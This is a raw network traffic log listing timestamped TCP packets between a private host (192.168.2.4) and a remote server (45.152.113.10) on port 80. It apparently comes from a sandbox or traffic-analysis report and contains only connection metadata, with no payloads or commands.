Sep 11, 2024 22:52:08.308619022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308619022 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308665991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308679104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308703899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308723927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308752060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308753967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308785915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308798075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308818102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308830976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308851004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308861971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308881998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308896065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308914900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308928013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308945894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308959007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308976889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308990002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.309007883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.309022903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.309041023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.309052944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.309071064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.309084892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.309103012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.309114933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.309134007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.309149027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.309165955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.309179068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.309197903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.309223890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.309230089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.309256077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.309262037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.309277058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.309294939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.309307098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.309325933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.309340954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.309360027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.309370995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.309391975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.309405088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.309436083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.393852949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.393922091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.393924952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.393970013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.393973112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394005060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394020081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394037962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394047976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394071102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394083023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394121885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394131899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394155025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394165039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394187927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394198895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394220114 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394233942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394262075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394272089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394303083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394323111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394335985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394344091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394368887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394390106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394401073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394412994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394450903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394454002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394503117 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394505024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394537926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394553900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394571066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394582987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394603014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394614935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394635916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394648075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394684076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394699097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394716978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394732952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394748926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394768000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394782066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394793987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394815922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394829035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394849062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394861937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394881010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394898891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394912958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394923925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.394954920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.394957066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395004034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395005941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395051956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395060062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395097971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395103931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395147085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395150900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395181894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395195007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395214081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395226955 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395277977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395281076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395313025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395330906 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395347118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395365000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395379066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395411015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395440102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395442009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395488977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395490885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395539045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395548105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395580053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395611048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395627022 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395636082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395672083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395675898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395709038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395721912 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395740986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395759106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395776987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395786047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395808935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395821095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395840883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395860910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395872116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395884991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395904064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395920992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395936966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395951986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395967960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.395992041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.395999908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396032095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396038055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396063089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396063089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396084070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396095037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396126032 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396133900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396150112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396157980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396171093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396189928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396213055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396223068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396225929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396254063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396266937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396285057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396298885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396316051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396328926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396349907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396358967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396394014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396399021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396431923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396440983 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396466017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396481991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396512032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396514893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396545887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396563053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396578074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396600008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396672964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396678925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396712065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396723986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396744013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396754980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396786928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396795034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396826029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396840096 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396857977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396867990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396888971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396903038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396939039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396943092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.396970987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.396985054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397003889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397017002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397034883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397047043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397069931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397079945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397099018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397115946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397130966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397141933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397162914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397176981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397195101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397207975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397226095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397238970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397258997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397269964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397290945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397301912 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397321939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397335052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397355080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397366047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397386074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397398949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397418022 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397429943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397449970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397473097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397484064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397505999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397515059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397526979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397547007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397558928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397578955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397593975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397614956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397631884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397645950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397660971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397679090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397694111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397710085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397721052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397742987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397753000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397774935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397789001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397806883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397823095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397838116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397854090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397871017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397886038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397902966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397923946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397938013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397948027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.397965908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.397979021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.398010015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481370926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481467962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481523037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481550932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481550932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481556892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481580973 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481590033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481606007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481623888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481637955 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481667995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481674910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481708050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481720924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481739998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481754065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481774092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481784105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481817961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481825113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481857061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481880903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481889009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481898069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481920958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481929064 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481951952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481959105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.481983900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.481992960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482027054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482033968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482068062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482079029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482099056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482127905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482131004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482160091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482162952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482181072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482201099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482213020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482244968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482258081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482279062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482289076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482311964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482325077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482343912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482355118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482377052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482389927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482409954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482424974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482445002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.482455015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.482479095 CEST	80	49733	45.152.113.10	192.168.2.4
